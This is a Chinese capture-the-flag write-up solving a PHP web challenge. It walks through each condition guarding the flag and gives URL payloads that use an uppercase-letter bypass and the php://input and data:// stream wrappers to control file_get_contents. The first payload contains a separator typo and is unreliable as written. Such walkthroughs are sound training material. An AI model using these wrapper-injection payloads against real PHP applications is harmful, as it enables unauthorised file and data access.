ctfshow、buuctf:摆烂杯WEB-writeup
1、一行代码
?php echo !(
!(include "flag.php")||
(!error_reporting(0))||
stripos($_GET['filename'],'.')||
($_GET['id']!=0)||
(strlen($_GET['content'])<=7)||
(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||
substr($_GET['content'],0,1)=='w'||
(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")
)
?$flag:str_repeat(highlight_file(__FILE__), 0);
echo !()?true:false
这是一个条件判断句,!()这个部分的代码为true
则$flag
,反之则highlight_file
;每个条件都是或(||)
,因此上面这部分我们需要保证每个条件都为false
,!false
才会为true
;
!(include "flag.php")|| (!error_reporting(0))|| stripos($_GET['filename'],'.')|| ($_GET['id']!=0)|| (strlen($_GET['content'])<=7)|| (!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))|| substr($_GET['content'],0,1)=='w'|| (file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")
1. 第一个和第二个条件恒为false;
2. stripos(string,find,start)
函数查找find
在string
中第一次出现的位置(不区分大小写),start
(可选)默认从0位开始,当$filename
中没有.
时为false;
3. 当$id=0
时为false;
4. 当$content$
长度大于7时为false;
5. eregi(string1,string2)
用string2
匹配string1
,该函数不区分大小写。substr(string,start,length)
函数返回字符串的一部分。当$content
的第一位为w
时为false;
6. 当$content
第一位不为w
时为false,与第六个条件相悖,此时可用大写W
绕过;
7. 当file_get_contents('filename','r')
获取到的内容为welcome2ctfshow
时为false;
payload1
url/?id=0&content=W1234567$filename=php://input
post data:welcome2ctfshow
payload2
url/?id=0&content=W1234567&filename=data://text/plain,welcome2ctfshow
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix